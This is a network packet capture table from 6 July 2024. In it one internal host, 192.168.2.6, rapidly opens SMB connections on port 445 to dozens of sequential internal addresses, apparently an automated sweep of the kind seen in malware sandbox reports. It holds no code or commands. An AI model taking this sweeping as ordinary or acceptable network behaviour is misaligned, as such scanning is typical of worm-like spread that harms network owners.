Jul 6, 2024 14:11:33.773538113 CEST	52066	445	192.168.2.6	192.168.3.18
Jul 6, 2024 14:11:33.774034977 CEST	445	52063	192.168.1.242	192.168.2.6
Jul 6, 2024 14:11:33.774044037 CEST	445	52063	192.168.1.242	192.168.2.6
Jul 6, 2024 14:11:33.774180889 CEST	52063	445	192.168.2.6	192.168.1.242
Jul 6, 2024 14:11:33.774476051 CEST	52062	445	192.168.2.6	192.168.3.144
Jul 6, 2024 14:11:33.775345087 CEST	52064	445	192.168.2.6	192.168.1.115
Jul 6, 2024 14:11:33.777134895 CEST	52067	445	192.168.2.6	192.168.3.145
Jul 6, 2024 14:11:33.778255939 CEST	445	52065	192.168.3.17	192.168.2.6
Jul 6, 2024 14:11:33.778403044 CEST	445	52066	192.168.3.18	192.168.2.6
Jul 6, 2024 14:11:33.781953096 CEST	445	52067	192.168.3.145	192.168.2.6
Jul 6, 2024 14:11:33.782020092 CEST	52067	445	192.168.2.6	192.168.3.145
Jul 6, 2024 14:11:33.782094955 CEST	52067	445	192.168.2.6	192.168.3.145
Jul 6, 2024 14:11:33.784568071 CEST	52068	445	192.168.2.6	192.168.1.243
Jul 6, 2024 14:11:33.786120892 CEST	52065	445	192.168.2.6	192.168.3.17
Jul 6, 2024 14:11:33.786120892 CEST	52065	445	192.168.2.6	192.168.3.17
Jul 6, 2024 14:11:33.786120892 CEST	52066	445	192.168.2.6	192.168.3.18
Jul 6, 2024 14:11:33.786120892 CEST	52066	445	192.168.2.6	192.168.3.18
Jul 6, 2024 14:11:33.787391901 CEST	445	52067	192.168.3.145	192.168.2.6
Jul 6, 2024 14:11:33.787784100 CEST	445	52064	192.168.1.115	192.168.2.6
Jul 6, 2024 14:11:33.790961027 CEST	52067	445	192.168.2.6	192.168.3.145
Jul 6, 2024 14:11:33.790961027 CEST	52069	445	192.168.2.6	192.168.1.116
Jul 6, 2024 14:11:33.791141987 CEST	445	52065	192.168.3.17	192.168.2.6
Jul 6, 2024 14:11:33.791151047 CEST	445	52066	192.168.3.18	192.168.2.6
Jul 6, 2024 14:11:33.791158915 CEST	445	52065	192.168.3.17	192.168.2.6
Jul 6, 2024 14:11:33.791517973 CEST	445	52066	192.168.3.18	192.168.2.6
Jul 6, 2024 14:11:33.794703007 CEST	52070	445	192.168.2.6	192.168.3.19
Jul 6, 2024 14:11:33.794703007 CEST	52071	445	192.168.2.6	192.168.1.244
Jul 6, 2024 14:11:33.795041084 CEST	52072	445	192.168.2.6	192.168.3.146
Jul 6, 2024 14:11:33.797303915 CEST	52064	445	192.168.2.6	192.168.1.115
Jul 6, 2024 14:11:33.797303915 CEST	52064	445	192.168.2.6	192.168.1.115
Jul 6, 2024 14:11:33.801330090 CEST	445	52070	192.168.3.19	192.168.2.6
Jul 6, 2024 14:11:33.801383972 CEST	52070	445	192.168.2.6	192.168.3.19
Jul 6, 2024 14:11:33.801455021 CEST	52070	445	192.168.2.6	192.168.3.19
Jul 6, 2024 14:11:33.801487923 CEST	445	52071	192.168.1.244	192.168.2.6
Jul 6, 2024 14:11:33.801515102 CEST	445	52072	192.168.3.146	192.168.2.6
Jul 6, 2024 14:11:33.801542044 CEST	52071	445	192.168.2.6	192.168.1.244
Jul 6, 2024 14:11:33.801567078 CEST	52072	445	192.168.2.6	192.168.3.146
Jul 6, 2024 14:11:33.801606894 CEST	52071	445	192.168.2.6	192.168.1.244
Jul 6, 2024 14:11:33.801723957 CEST	52072	445	192.168.2.6	192.168.3.146
Jul 6, 2024 14:11:33.804522038 CEST	52073	445	192.168.2.6	192.168.3.147
Jul 6, 2024 14:11:33.805254936 CEST	52074	445	192.168.2.6	192.168.1.245
Jul 6, 2024 14:11:33.807117939 CEST	445	52068	192.168.1.243	192.168.2.6
Jul 6, 2024 14:11:33.807135105 CEST	445	52069	192.168.1.116	192.168.2.6
Jul 6, 2024 14:11:33.807167053 CEST	52068	445	192.168.2.6	192.168.1.243
Jul 6, 2024 14:11:33.807195902 CEST	52069	445	192.168.2.6	192.168.1.116
Jul 6, 2024 14:11:33.807349920 CEST	445	52070	192.168.3.19	192.168.2.6
Jul 6, 2024 14:11:33.807498932 CEST	52068	445	192.168.2.6	192.168.1.243
Jul 6, 2024 14:11:33.808792114 CEST	445	52070	192.168.3.19	192.168.2.6
Jul 6, 2024 14:11:33.809292078 CEST	52069	445	192.168.2.6	192.168.1.116
Jul 6, 2024 14:11:33.809740067 CEST	445	52071	192.168.1.244	192.168.2.6
Jul 6, 2024 14:11:33.809784889 CEST	52071	445	192.168.2.6	192.168.1.244
Jul 6, 2024 14:11:33.809880018 CEST	445	52072	192.168.3.146	192.168.2.6
Jul 6, 2024 14:11:33.809984922 CEST	445	52073	192.168.3.147	192.168.2.6
Jul 6, 2024 14:11:33.810209036 CEST	445	52074	192.168.1.245	192.168.2.6
Jul 6, 2024 14:11:33.810260057 CEST	52074	445	192.168.2.6	192.168.1.245
Jul 6, 2024 14:11:33.810307980 CEST	52074	445	192.168.2.6	192.168.1.245
Jul 6, 2024 14:11:33.810503960 CEST	445	52064	192.168.1.115	192.168.2.6
Jul 6, 2024 14:11:33.811264038 CEST	445	52064	192.168.1.115	192.168.2.6
Jul 6, 2024 14:11:33.812339067 CEST	52072	445	192.168.2.6	192.168.3.146
Jul 6, 2024 14:11:33.812339067 CEST	52073	445	192.168.2.6	192.168.3.147
Jul 6, 2024 14:11:33.812339067 CEST	52073	445	192.168.2.6	192.168.3.147
Jul 6, 2024 14:11:33.813529968 CEST	445	52068	192.168.1.243	192.168.2.6
Jul 6, 2024 14:11:33.813915968 CEST	445	52069	192.168.1.116	192.168.2.6
Jul 6, 2024 14:11:33.815797091 CEST	445	52074	192.168.1.245	192.168.2.6
Jul 6, 2024 14:11:33.815807104 CEST	445	52074	192.168.1.245	192.168.2.6
Jul 6, 2024 14:11:33.816972971 CEST	445	52069	192.168.1.116	192.168.2.6
Jul 6, 2024 14:11:33.817014933 CEST	52069	445	192.168.2.6	192.168.1.116
Jul 6, 2024 14:11:33.818520069 CEST	445	52073	192.168.3.147	192.168.2.6
Jul 6, 2024 14:11:33.819874048 CEST	52075	445	192.168.2.6	192.168.3.20
Jul 6, 2024 14:11:33.822140932 CEST	52079	445	192.168.2.6	192.168.1.246
Jul 6, 2024 14:11:33.822665930 CEST	52078	445	192.168.2.6	192.168.3.148
Jul 6, 2024 14:11:33.822925091 CEST	52073	445	192.168.2.6	192.168.3.147
Jul 6, 2024 14:11:33.822925091 CEST	52076	445	192.168.2.6	192.168.1.118
Jul 6, 2024 14:11:33.824938059 CEST	52068	445	192.168.2.6	192.168.1.243
Jul 6, 2024 14:11:33.826366901 CEST	445	52075	192.168.3.20	192.168.2.6
Jul 6, 2024 14:11:33.826416016 CEST	52075	445	192.168.2.6	192.168.3.20
Jul 6, 2024 14:11:33.826448917 CEST	445	52069	192.168.1.116	192.168.2.6
Jul 6, 2024 14:11:33.826461077 CEST	52075	445	192.168.2.6	192.168.3.20
Jul 6, 2024 14:11:33.826947927 CEST	52077	445	192.168.2.6	192.168.1.117
Jul 6, 2024 14:11:33.827253103 CEST	445	52079	192.168.1.246	192.168.2.6
Jul 6, 2024 14:11:33.828155041 CEST	445	52076	192.168.1.118	192.168.2.6
Jul 6, 2024 14:11:33.828289986 CEST	52076	445	192.168.2.6	192.168.1.118
Jul 6, 2024 14:11:33.828289986 CEST	52076	445	192.168.2.6	192.168.1.118
Jul 6, 2024 14:11:33.829154015 CEST	52079	445	192.168.2.6	192.168.1.246
Jul 6, 2024 14:11:33.829154015 CEST	52079	445	192.168.2.6	192.168.1.246
Jul 6, 2024 14:11:33.831613064 CEST	445	52075	192.168.3.20	192.168.2.6
Jul 6, 2024 14:11:33.831840038 CEST	445	52075	192.168.3.20	192.168.2.6
Jul 6, 2024 14:11:33.833234072 CEST	445	52076	192.168.1.118	192.168.2.6
Jul 6, 2024 14:11:33.834026098 CEST	445	52076	192.168.1.118	192.168.2.6
Jul 6, 2024 14:11:33.834646940 CEST	445	52079	192.168.1.246	192.168.2.6
Jul 6, 2024 14:11:33.835573912 CEST	52080	445	192.168.2.6	192.168.1.119
Jul 6, 2024 14:11:33.835930109 CEST	52079	445	192.168.2.6	192.168.1.246
Jul 6, 2024 14:11:33.837126017 CEST	52081	445	192.168.2.6	192.168.1.247
Jul 6, 2024 14:11:33.840562105 CEST	445	52078	192.168.3.148	192.168.2.6
Jul 6, 2024 14:11:33.843884945 CEST	445	52077	192.168.1.117	192.168.2.6
Jul 6, 2024 14:11:33.843986034 CEST	52077	445	192.168.2.6	192.168.1.117
Jul 6, 2024 14:11:33.844026089 CEST	52077	445	192.168.2.6	192.168.1.117
Jul 6, 2024 14:11:33.845838070 CEST	52078	445	192.168.2.6	192.168.3.148
Jul 6, 2024 14:11:33.848365068 CEST	52082	445	192.168.2.6	192.168.3.149
Jul 6, 2024 14:11:33.849860907 CEST	445	52081	192.168.1.247	192.168.2.6
Jul 6, 2024 14:11:33.850860119 CEST	52081	445	192.168.2.6	192.168.1.247
Jul 6, 2024 14:11:33.851144075 CEST	52078	445	192.168.2.6	192.168.3.148
Jul 6, 2024 14:11:33.852056026 CEST	52081	445	192.168.2.6	192.168.1.247
Jul 6, 2024 14:11:33.852127075 CEST	52083	445	192.168.2.6	192.168.3.22
Jul 6, 2024 14:11:33.852303028 CEST	52084	445	192.168.2.6	192.168.3.21
Jul 6, 2024 14:11:33.852432966 CEST	52085	445	192.168.2.6	192.168.1.120
Jul 6, 2024 14:11:33.854448080 CEST	445	52077	192.168.1.117	192.168.2.6
Jul 6, 2024 14:11:33.854500055 CEST	445	52080	192.168.1.119	192.168.2.6
Jul 6, 2024 14:11:33.854537964 CEST	445	52077	192.168.1.117	192.168.2.6
Jul 6, 2024 14:11:33.854551077 CEST	52080	445	192.168.2.6	192.168.1.119
Jul 6, 2024 14:11:33.854978085 CEST	445	52082	192.168.3.149	192.168.2.6
Jul 6, 2024 14:11:33.855020046 CEST	445	52078	192.168.3.148	192.168.2.6
Jul 6, 2024 14:11:33.855376005 CEST	52082	445	192.168.2.6	192.168.3.149
Jul 6, 2024 14:11:33.855376005 CEST	52082	445	192.168.2.6	192.168.3.149
Jul 6, 2024 14:11:33.855667114 CEST	52080	445	192.168.2.6	192.168.1.119
Jul 6, 2024 14:11:33.855667114 CEST	52078	445	192.168.2.6	192.168.3.148
Jul 6, 2024 14:11:33.856225967 CEST	52086	445	192.168.2.6	192.168.3.150
Jul 6, 2024 14:11:33.856225967 CEST	52087	445	192.168.2.6	192.168.1.248
Jul 6, 2024 14:11:33.856962919 CEST	445	52078	192.168.3.148	192.168.2.6
Jul 6, 2024 14:11:33.857219934 CEST	445	52083	192.168.3.22	192.168.2.6
Jul 6, 2024 14:11:33.857292891 CEST	52083	445	192.168.2.6	192.168.3.22
Jul 6, 2024 14:11:33.857350111 CEST	445	52084	192.168.3.21	192.168.2.6
Jul 6, 2024 14:11:33.857381105 CEST	52083	445	192.168.2.6	192.168.3.22
Jul 6, 2024 14:11:33.857388973 CEST	52084	445	192.168.2.6	192.168.3.21
Jul 6, 2024 14:11:33.857434034 CEST	445	52085	192.168.1.120	192.168.2.6
Jul 6, 2024 14:11:33.857444048 CEST	445	52081	192.168.1.247	192.168.2.6
Jul 6, 2024 14:11:33.857465029 CEST	52084	445	192.168.2.6	192.168.3.21
Jul 6, 2024 14:11:33.857487917 CEST	52085	445	192.168.2.6	192.168.1.120
Jul 6, 2024 14:11:33.857547045 CEST	52085	445	192.168.2.6	192.168.1.120
Jul 6, 2024 14:11:33.860203981 CEST	445	52080	192.168.1.119	192.168.2.6
Jul 6, 2024 14:11:33.861114979 CEST	445	52086	192.168.3.150	192.168.2.6
Jul 6, 2024 14:11:33.861151934 CEST	445	52087	192.168.1.248	192.168.2.6
Jul 6, 2024 14:11:33.861697912 CEST	52081	445	192.168.2.6	192.168.1.247
Jul 6, 2024 14:11:33.862004995 CEST	52080	445	192.168.2.6	192.168.1.119
Jul 6, 2024 14:11:33.862499952 CEST	445	52080	192.168.1.119	192.168.2.6
Jul 6, 2024 14:11:33.862813950 CEST	52086	445	192.168.2.6	192.168.3.150
Jul 6, 2024 14:11:33.862813950 CEST	52087	445	192.168.2.6	192.168.1.248
Jul 6, 2024 14:11:33.862813950 CEST	52086	445	192.168.2.6	192.168.3.150
Jul 6, 2024 14:11:33.862813950 CEST	52087	445	192.168.2.6	192.168.1.248
Jul 6, 2024 14:11:33.862890959 CEST	445	52083	192.168.3.22	192.168.2.6
Jul 6, 2024 14:11:33.863075972 CEST	445	52084	192.168.3.21	192.168.2.6
Jul 6, 2024 14:11:33.863122940 CEST	445	52085	192.168.1.120	192.168.2.6
Jul 6, 2024 14:11:33.863846064 CEST	445	52083	192.168.3.22	192.168.2.6
Jul 6, 2024 14:11:33.865046978 CEST	445	52084	192.168.3.21	192.168.2.6
Jul 6, 2024 14:11:33.866033077 CEST	445	52085	192.168.1.120	192.168.2.6
Jul 6, 2024 14:11:33.866043091 CEST	445	52082	192.168.3.149	192.168.2.6
Jul 6, 2024 14:11:33.869065046 CEST	52090	445	192.168.2.6	192.168.3.24
Jul 6, 2024 14:11:33.869476080 CEST	52088	445	192.168.2.6	192.168.3.23
Jul 6, 2024 14:11:33.869476080 CEST	52089	445	192.168.2.6	192.168.1.121
Jul 6, 2024 14:11:33.869977951 CEST	52082	445	192.168.2.6	192.168.3.149
Jul 6, 2024 14:11:33.874883890 CEST	445	52082	192.168.3.149	192.168.2.6
Jul 6, 2024 14:11:33.875116110 CEST	445	52080	192.168.1.119	192.168.2.6
Jul 6, 2024 14:11:33.875143051 CEST	445	52087	192.168.1.248	192.168.2.6
Jul 6, 2024 14:11:33.875152111 CEST	445	52086	192.168.3.150	192.168.2.6
Jul 6, 2024 14:11:33.875531912 CEST	445	52090	192.168.3.24	192.168.2.6
Jul 6, 2024 14:11:33.875541925 CEST	445	52088	192.168.3.23	192.168.2.6
Jul 6, 2024 14:11:33.875550032 CEST	445	52089	192.168.1.121	192.168.2.6
Jul 6, 2024 14:11:33.875711918 CEST	52090	445	192.168.2.6	192.168.3.24
Jul 6, 2024 14:11:33.876210928 CEST	52088	445	192.168.2.6	192.168.3.23
Jul 6, 2024 14:11:33.876210928 CEST	52089	445	192.168.2.6	192.168.1.121
Jul 6, 2024 14:11:33.876669884 CEST	445	52086	192.168.3.150	192.168.2.6
Jul 6, 2024 14:11:33.876727104 CEST	52086	445	192.168.2.6	192.168.3.150
Jul 6, 2024 14:11:33.877207994 CEST	445	52087	192.168.1.248	192.168.2.6
Jul 6, 2024 14:11:33.877254963 CEST	52088	445	192.168.2.6	192.168.3.23
Jul 6, 2024 14:11:33.877254963 CEST	52089	445	192.168.2.6	192.168.1.121
Jul 6, 2024 14:11:33.877259016 CEST	52087	445	192.168.2.6	192.168.1.248
Jul 6, 2024 14:11:33.878187895 CEST	52091	445	192.168.2.6	192.168.1.249
Jul 6, 2024 14:11:33.878187895 CEST	52092	445	192.168.2.6	192.168.3.151
Jul 6, 2024 14:11:33.882294893 CEST	445	52088	192.168.3.23	192.168.2.6
Jul 6, 2024 14:11:33.882441998 CEST	445	52089	192.168.1.121	192.168.2.6
Jul 6, 2024 14:11:33.882452011 CEST	445	52088	192.168.3.23	192.168.2.6
Jul 6, 2024 14:11:33.882702112 CEST	52088	445	192.168.2.6	192.168.3.23
Jul 6, 2024 14:11:33.882900000 CEST	445	52089	192.168.1.121	192.168.2.6
Jul 6, 2024 14:11:33.883312941 CEST	445	52090	192.168.3.24	192.168.2.6
Jul 6, 2024 14:11:33.883377075 CEST	52090	445	192.168.2.6	192.168.3.24
Jul 6, 2024 14:11:33.883485079 CEST	52093	445	192.168.2.6	192.168.1.122
Jul 6, 2024 14:11:33.883584023 CEST	445	52091	192.168.1.249	192.168.2.6
Jul 6, 2024 14:11:33.884454966 CEST	445	52092	192.168.3.151	192.168.2.6
Jul 6, 2024 14:11:33.884596109 CEST	52091	445	192.168.2.6	192.168.1.249
Jul 6, 2024 14:11:33.884597063 CEST	52091	445	192.168.2.6	192.168.1.249
Jul 6, 2024 14:11:33.884597063 CEST	52092	445	192.168.2.6	192.168.3.151
Jul 6, 2024 14:11:33.884597063 CEST	52092	445	192.168.2.6	192.168.3.151
Jul 6, 2024 14:11:33.884910107 CEST	52094	445	192.168.2.6	192.168.3.152
Jul 6, 2024 14:11:33.887278080 CEST	52095	445	192.168.2.6	192.168.1.250
Jul 6, 2024 14:11:33.888612032 CEST	445	52093	192.168.1.122	192.168.2.6
Jul 6, 2024 14:11:33.888667107 CEST	52093	445	192.168.2.6	192.168.1.122
Jul 6, 2024 14:11:33.888746977 CEST	52093	445	192.168.2.6	192.168.1.122
Jul 6, 2024 14:11:33.889249086 CEST	445	52088	192.168.3.23	192.168.2.6
Jul 6, 2024 14:11:33.889811993 CEST	445	52091	192.168.1.249	192.168.2.6
Jul 6, 2024 14:11:33.889870882 CEST	445	52094	192.168.3.152	192.168.2.6
Jul 6, 2024 14:11:33.889926910 CEST	52094	445	192.168.2.6	192.168.3.152
Jul 6, 2024 14:11:33.890039921 CEST	52094	445	192.168.2.6	192.168.3.152
Jul 6, 2024 14:11:33.890149117 CEST	445	52091	192.168.1.249	192.168.2.6
Jul 6, 2024 14:11:33.891796112 CEST	52091	445	192.168.2.6	192.168.1.249
Jul 6, 2024 14:11:33.892839909 CEST	445	52095	192.168.1.250	192.168.2.6
Jul 6, 2024 14:11:33.893594027 CEST	445	52093	192.168.1.122	192.168.2.6
Jul 6, 2024 14:11:33.893865108 CEST	445	52093	192.168.1.122	192.168.2.6
Jul 6, 2024 14:11:33.894330025 CEST	52095	445	192.168.2.6	192.168.1.250
Jul 6, 2024 14:11:33.894330025 CEST	52095	445	192.168.2.6	192.168.1.250
Jul 6, 2024 14:11:33.894468069 CEST	445	52092	192.168.3.151	192.168.2.6
Jul 6, 2024 14:11:33.894996881 CEST	445	52094	192.168.3.152	192.168.2.6
Jul 6, 2024 14:11:33.895057917 CEST	52094	445	192.168.2.6	192.168.3.152
Jul 6, 2024 14:11:33.898541927 CEST	52092	445	192.168.2.6	192.168.3.151
Jul 6, 2024 14:11:33.898541927 CEST	52096	445	192.168.2.6	192.168.1.123
Jul 6, 2024 14:11:33.898812056 CEST	52097	445	192.168.2.6	192.168.3.25
Jul 6, 2024 14:11:33.898812056 CEST	52098	445	192.168.2.6	192.168.3.26
Jul 6, 2024 14:11:33.900307894 CEST	52099	445	192.168.2.6	192.168.1.124
Jul 6, 2024 14:11:33.901359081 CEST	445	52095	192.168.1.250	192.168.2.6
Jul 6, 2024 14:11:33.901616096 CEST	52095	445	192.168.2.6	192.168.1.250
Jul 6, 2024 14:11:33.902328014 CEST	52100	445	192.168.2.6	192.168.3.153
Jul 6, 2024 14:11:33.903127909 CEST	52101	445	192.168.2.6	192.168.1.251
Jul 6, 2024 14:11:33.904553890 CEST	445	52097	192.168.3.25	192.168.2.6
Jul 6, 2024 14:11:33.904563904 CEST	445	52098	192.168.3.26	192.168.2.6
Jul 6, 2024 14:11:33.905039072 CEST	52097	445	192.168.2.6	192.168.3.25
Jul 6, 2024 14:11:33.905039072 CEST	52098	445	192.168.2.6	192.168.3.26
Jul 6, 2024 14:11:33.905039072 CEST	52097	445	192.168.2.6	192.168.3.25
Jul 6, 2024 14:11:33.905039072 CEST	52098	445	192.168.2.6	192.168.3.26
Jul 6, 2024 14:11:33.906764984 CEST	445	52099	192.168.1.124	192.168.2.6
Jul 6, 2024 14:11:33.906824112 CEST	52099	445	192.168.2.6	192.168.1.124
Jul 6, 2024 14:11:33.906873941 CEST	52099	445	192.168.2.6	192.168.1.124
Jul 6, 2024 14:11:33.907202005 CEST	445	52100	192.168.3.153	192.168.2.6
Jul 6, 2024 14:11:33.907242060 CEST	52100	445	192.168.2.6	192.168.3.153
Jul 6, 2024 14:11:33.907326937 CEST	52100	445	192.168.2.6	192.168.3.153
Jul 6, 2024 14:11:33.908237934 CEST	445	52101	192.168.1.251	192.168.2.6
Jul 6, 2024 14:11:33.908288002 CEST	52101	445	192.168.2.6	192.168.1.251
Jul 6, 2024 14:11:33.908384085 CEST	52101	445	192.168.2.6	192.168.1.251
Jul 6, 2024 14:11:33.911442041 CEST	445	52096	192.168.1.123	192.168.2.6
Jul 6, 2024 14:11:33.911489010 CEST	52096	445	192.168.2.6	192.168.1.123
Jul 6, 2024 14:11:33.911601067 CEST	445	52099	192.168.1.124	192.168.2.6
Jul 6, 2024 14:11:33.911608934 CEST	52096	445	192.168.2.6	192.168.1.123
Jul 6, 2024 14:11:33.912313938 CEST	445	52100	192.168.3.153	192.168.2.6
Jul 6, 2024 14:11:33.912357092 CEST	52100	445	192.168.2.6	192.168.3.153
Jul 6, 2024 14:11:33.912997961 CEST	445	52097	192.168.3.25	192.168.2.6
Jul 6, 2024 14:11:33.913746119 CEST	445	52101	192.168.1.251	192.168.2.6
Jul 6, 2024 14:11:33.913753986 CEST	445	52097	192.168.3.25	192.168.2.6
Jul 6, 2024 14:11:33.913762093 CEST	445	52098	192.168.3.26	192.168.2.6
Jul 6, 2024 14:11:33.913793087 CEST	52101	445	192.168.2.6	192.168.1.251
Jul 6, 2024 14:11:33.914370060 CEST	445	52098	192.168.3.26	192.168.2.6
Jul 6, 2024 14:11:33.914556980 CEST	52097	445	192.168.2.6	192.168.3.25
Jul 6, 2024 14:11:33.914743900 CEST	52103	445	192.168.2.6	192.168.3.154
Jul 6, 2024 14:11:33.914834023 CEST	52102	445	192.168.2.6	192.168.1.252
Jul 6, 2024 14:11:33.916429996 CEST	445	52096	192.168.1.123	192.168.2.6
Jul 6, 2024 14:11:33.917057991 CEST	445	52096	192.168.1.123	192.168.2.6
Jul 6, 2024 14:11:33.919611931 CEST	445	52103	192.168.3.154	192.168.2.6
Jul 6, 2024 14:11:33.919802904 CEST	445	52102	192.168.1.252	192.168.2.6
Jul 6, 2024 14:11:33.919874907 CEST	52102	445	192.168.2.6	192.168.1.252
Jul 6, 2024 14:11:33.920638084 CEST	445	52097	192.168.3.25	192.168.2.6
Jul 6, 2024 14:11:33.921053886 CEST	52103	445	192.168.2.6	192.168.3.154
Jul 6, 2024 14:11:33.921053886 CEST	52103	445	192.168.2.6	192.168.3.154
Jul 6, 2024 14:11:33.925198078 CEST	445	52102	192.168.1.252	192.168.2.6
Jul 6, 2024 14:11:33.925249100 CEST	52102	445	192.168.2.6	192.168.1.252
Jul 6, 2024 14:11:33.927700996 CEST	445	52103	192.168.3.154	192.168.2.6
Jul 6, 2024 14:11:33.927776098 CEST	52103	445	192.168.2.6	192.168.3.154
Jul 6, 2024 14:11:33.928627968 CEST	52102	445	192.168.2.6	192.168.1.252
Jul 6, 2024 14:11:33.929137945 CEST	52104	445	192.168.2.6	192.168.1.125
Jul 6, 2024 14:11:33.929277897 CEST	52105	445	192.168.2.6	192.168.3.27
Jul 6, 2024 14:11:33.930289030 CEST	52106	445	192.168.2.6	192.168.1.253
Jul 6, 2024 14:11:33.930712938 CEST	52107	445	192.168.2.6	192.168.3.155
Jul 6, 2024 14:11:33.934015036 CEST	445	52102	192.168.1.252	192.168.2.6
Jul 6, 2024 14:11:33.934109926 CEST	445	52104	192.168.1.125	192.168.2.6
Jul 6, 2024 14:11:33.936109066 CEST	52104	445	192.168.2.6	192.168.1.125
Jul 6, 2024 14:11:33.936109066 CEST	52104	445	192.168.2.6	192.168.1.125
Jul 6, 2024 14:11:33.936222076 CEST	445	52105	192.168.3.27	192.168.2.6
Jul 6, 2024 14:11:33.936240911 CEST	445	52106	192.168.1.253	192.168.2.6
Jul 6, 2024 14:11:33.936290979 CEST	52105	445	192.168.2.6	192.168.3.27
Jul 6, 2024 14:11:33.936341047 CEST	52106	445	192.168.2.6	192.168.1.253
Jul 6, 2024 14:11:33.936341047 CEST	52105	445	192.168.2.6	192.168.3.27
Jul 6, 2024 14:11:33.936409950 CEST	52106	445	192.168.2.6	192.168.1.253
Jul 6, 2024 14:11:33.937633991 CEST	445	52107	192.168.3.155	192.168.2.6
Jul 6, 2024 14:11:33.937752962 CEST	52107	445	192.168.2.6	192.168.3.155
Jul 6, 2024 14:11:33.944387913 CEST	52107	445	192.168.2.6	192.168.3.155
Jul 6, 2024 14:11:33.944663048 CEST	52108	445	192.168.2.6	192.168.1.126
Jul 6, 2024 14:11:33.944829941 CEST	52109	445	192.168.2.6	192.168.3.28
Jul 6, 2024 14:11:33.945697069 CEST	52110	445	192.168.2.6	192.168.3.156
Jul 6, 2024 14:11:33.945920944 CEST	52111	445	192.168.2.6	192.168.1.254
Jul 6, 2024 14:11:33.948379993 CEST	445	52104	192.168.1.125	192.168.2.6
Jul 6, 2024 14:11:33.948391914 CEST	445	52105	192.168.3.27	192.168.2.6
Jul 6, 2024 14:11:33.948453903 CEST	445	52104	192.168.1.125	192.168.2.6
Jul 6, 2024 14:11:33.949064970 CEST	445	52105	192.168.3.27	192.168.2.6
Jul 6, 2024 14:11:33.949424028 CEST	445	52106	192.168.1.253	192.168.2.6
Jul 6, 2024 14:11:33.949474096 CEST	52106	445	192.168.2.6	192.168.1.253
Jul 6, 2024 14:11:33.949630022 CEST	445	52108	192.168.1.126	192.168.2.6
Jul 6, 2024 14:11:33.949780941 CEST	445	52109	192.168.3.28	192.168.2.6
Jul 6, 2024 14:11:33.950202942 CEST	445	52107	192.168.3.155	192.168.2.6
Jul 6, 2024 14:11:33.950797081 CEST	445	52110	192.168.3.156	192.168.2.6
Jul 6, 2024 14:11:33.950797081 CEST	52107	445	192.168.2.6	192.168.3.155
Jul 6, 2024 14:11:33.950809002 CEST	445	52111	192.168.1.254	192.168.2.6
Jul 6, 2024 14:11:33.950967073 CEST	52111	445	192.168.2.6	192.168.1.254
Jul 6, 2024 14:11:33.950967073 CEST	52111	445	192.168.2.6	192.168.1.254
Jul 6, 2024 14:11:33.952501059 CEST	52108	445	192.168.2.6	192.168.1.126
Jul 6, 2024 14:11:33.952501059 CEST	52108	445	192.168.2.6	192.168.1.126
Jul 6, 2024 14:11:33.954309940 CEST	52109	445	192.168.2.6	192.168.3.28
Jul 6, 2024 14:11:33.954309940 CEST	52109	445	192.168.2.6	192.168.3.28
Jul 6, 2024 14:11:33.955523014 CEST	52110	445	192.168.2.6	192.168.3.156
Jul 6, 2024 14:11:33.955523014 CEST	52110	445	192.168.2.6	192.168.3.156
Jul 6, 2024 14:11:33.956120014 CEST	445	52111	192.168.1.254	192.168.2.6
Jul 6, 2024 14:11:33.957835913 CEST	445	52108	192.168.1.126	192.168.2.6
Jul 6, 2024 14:11:33.958055973 CEST	52111	445	192.168.2.6	192.168.1.254
Jul 6, 2024 14:11:33.958081007 CEST	445	52108	192.168.1.126	192.168.2.6
Jul 6, 2024 14:11:33.959503889 CEST	445	52109	192.168.3.28	192.168.2.6
Jul 6, 2024 14:11:33.959916115 CEST	445	52109	192.168.3.28	192.168.2.6
Jul 6, 2024 14:11:33.962765932 CEST	52113	445	192.168.2.6	192.168.3.157
Jul 6, 2024 14:11:33.967766047 CEST	445	52113	192.168.3.157	192.168.2.6
Jul 6, 2024 14:11:33.969839096 CEST	445	52110	192.168.3.156	192.168.2.6
Jul 6, 2024 14:11:33.971298933 CEST	52113	445	192.168.2.6	192.168.3.157
Jul 6, 2024 14:11:33.971538067 CEST	52110	445	192.168.2.6	192.168.3.156
Jul 6, 2024 14:11:33.975480080 CEST	52113	445	192.168.2.6	192.168.3.157
Jul 6, 2024 14:11:33.975742102 CEST	52114	445	192.168.2.6	192.168.3.29
Jul 6, 2024 14:11:33.975872993 CEST	52115	445	192.168.2.6	192.168.1.127
Jul 6, 2024 14:11:33.975996017 CEST	52116	445	192.168.2.6	192.168.3.30
Jul 6, 2024 14:11:33.976124048 CEST	52117	445	192.168.2.6	192.168.1.128
Jul 6, 2024 14:11:33.977897882 CEST	52119	445	192.168.2.6	192.168.3.158
Jul 6, 2024 14:11:33.978802919 CEST	445	52113	192.168.3.157	192.168.2.6
Jul 6, 2024 14:11:33.978847980 CEST	52113	445	192.168.2.6	192.168.3.157
Jul 6, 2024 14:11:33.981195927 CEST	445	52113	192.168.3.157	192.168.2.6
Jul 6, 2024 14:11:33.981295109 CEST	445	52114	192.168.3.29	192.168.2.6
Jul 6, 2024 14:11:33.981313944 CEST	445	52115	192.168.1.127	192.168.2.6
Jul 6, 2024 14:11:33.981323957 CEST	445	52116	192.168.3.30	192.168.2.6
Jul 6, 2024 14:11:33.981333017 CEST	445	52117	192.168.1.128	192.168.2.6
Jul 6, 2024 14:11:33.981347084 CEST	52114	445	192.168.2.6	192.168.3.29
Jul 6, 2024 14:11:33.981390953 CEST	52116	445	192.168.2.6	192.168.3.30
Jul 6, 2024 14:11:33.981393099 CEST	52115	445	192.168.2.6	192.168.1.127
Jul 6, 2024 14:11:33.981408119 CEST	52117	445	192.168.2.6	192.168.1.128
Jul 6, 2024 14:11:33.981410980 CEST	52114	445	192.168.2.6	192.168.3.29
Jul 6, 2024 14:11:33.981503010 CEST	52115	445	192.168.2.6	192.168.1.127
Jul 6, 2024 14:11:33.981560946 CEST	52117	445	192.168.2.6	192.168.1.128
Jul 6, 2024 14:11:33.983228922 CEST	445	52119	192.168.3.158	192.168.2.6
Jul 6, 2024 14:11:33.983282089 CEST	52119	445	192.168.2.6	192.168.3.158
Jul 6, 2024 14:11:33.983359098 CEST	52119	445	192.168.2.6	192.168.3.158
Jul 6, 2024 14:11:33.986421108 CEST	445	52114	192.168.3.29	192.168.2.6
Jul 6, 2024 14:11:33.986429930 CEST	445	52114	192.168.3.29	192.168.2.6
Jul 6, 2024 14:11:33.986505032 CEST	445	52115	192.168.1.127	192.168.2.6
Jul 6, 2024 14:11:33.986560106 CEST	52115	445	192.168.2.6	192.168.1.127
